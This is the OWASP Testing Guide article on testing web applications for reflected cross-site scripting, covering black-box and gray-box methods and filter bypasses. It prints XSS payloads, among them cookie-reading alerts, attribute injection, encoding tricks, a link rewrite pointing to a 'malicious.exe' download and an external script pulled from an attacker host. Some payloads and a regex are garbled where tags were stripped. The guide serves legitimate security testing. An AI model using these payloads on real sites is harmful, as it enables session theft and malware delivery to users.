Testing for Reflected Cross site scripting (OTG-INPVAL-001)

Brief Summary
Reflected Cross-site Scripting (XSS) is another name for non-persistent XSS, where the attack doesn't load with the vulnerable web application but is originated by the victim loading the offending URI. In this article we will see some ways to test a web application for this kind of vulnerability.

Description of the Issue
Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also called first-order XSS or type 1. These are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual execution of the offending code &mdash; using the victim's credentials.

Commonly the attacker's code is written in the Javascript language, but other scripting languages are also used, e.g., ActionScript and VBScript.

Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out " ", but might not filter %3cscript%3e which simply includes another encoding of tags. A nice tool for testing character encodings is OWASP's CAL9000.

Black Box testing and example
A black-box test will include at least three phases:

1. Detect input vectors. The tester must determine the web application's variables and how to input them in the web application. See the example below.

2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer or manually. Some example of such input data are the following: alert(123) “> alert(document.cookie)

3. For each vulnerability reported in the previous phase, the tester will analyze the report and attempt to exploit it with an attack that has a realistic impact on the web application's security.

 Example 1  For example, consider a site that has a welcome notice " Welcome %username% " and a download link. The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. Let's try to click on the following link and see what happens: http://example.com/index.php?user= alert(123)

If no sanitization is applied this will result in the following popup: This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.

 Example 2  Let's try other piece of code (link): http://example.com/index.php?user= window.onload = function {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }

This produces the following behavior: This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

Bypass XSS filters
Most web applications today use some sort of sanitization. Yet, some remain vulnerable. Reflected cross-site scripting attacks are prevented either at the side of the server, by sanitization or web application firewall, or at the side of the client by prevention mechanisms that are embedded in modern web browsers.

Since most of the clients do not update their browsers or, if updated, the filter could be disabled, the tester cannot count on this and he has to test for vulnerabilities assuming that web browsers will not prevent the attack. Moreover is important to note that some of these filters can be circumvented. (Note: In a grey-box or white-box test, the tester might access the source code and analyze the server-side sanitization procedure to decide if and how it can be circumvented).

The web application could implement elementary blacklist-based filters attempting to avoid XSS attacks. These type of filters usually remove or encode expressions that could be dangerous (for example the tag) within request parameters.

 Example 3: Tag Attribute Value  Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of tags and even without the use of characters such as " < > and / that are commonly filtered. For example, the web application could use the user input value to fill an attribute, as shown in the following code: 

Then an attacker could submit the following code: " onfocus="alert(document.cookie)

 Example 4: Different syntax or enconding  In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the econding. These variations are tolerated by browsers when the code is returned, and they could also be accepted by the filter. Following some examples: "> alert(document.cookie)

">alert(document.cookie)

"%3cscript%3ealert(document.cookie)%3c/script%3e

 Example 5: Bypassing non-recursive filtering  Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string like this one: alert(document.cookie)

 Example 6: Including external script  Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script: <?  $re = "/]+src/i";

if (preg_match($re, $_GET['var'])) {     echo "Filtered"; return; }  echo "Welcome ".$_GET['var']." !"; ?>

In this scenario there is a regular expression checking if ' ] src is inserted. This is useful for filtering expressions like  which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this: http://example/?var="%20SRC="http://attacker/xss.js"> This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was originating from the victim web site, http://example/.

 Example 7: HTTP Parameter Pollution (HPP)  Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP Poland conference. See the Testing for HTTP Parameter pollution for more information. This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible. If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern- based security mechanisms. Regular attack: http://example/page.php?param= [...] Attack using HPP: http://example/page.php?param=[...]

 Result expected  See the XSS Filter Evasion Cheat Sheet for a more detailed list of filter evasion techniques. Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers.

Gray Box testing and example
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester. If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented.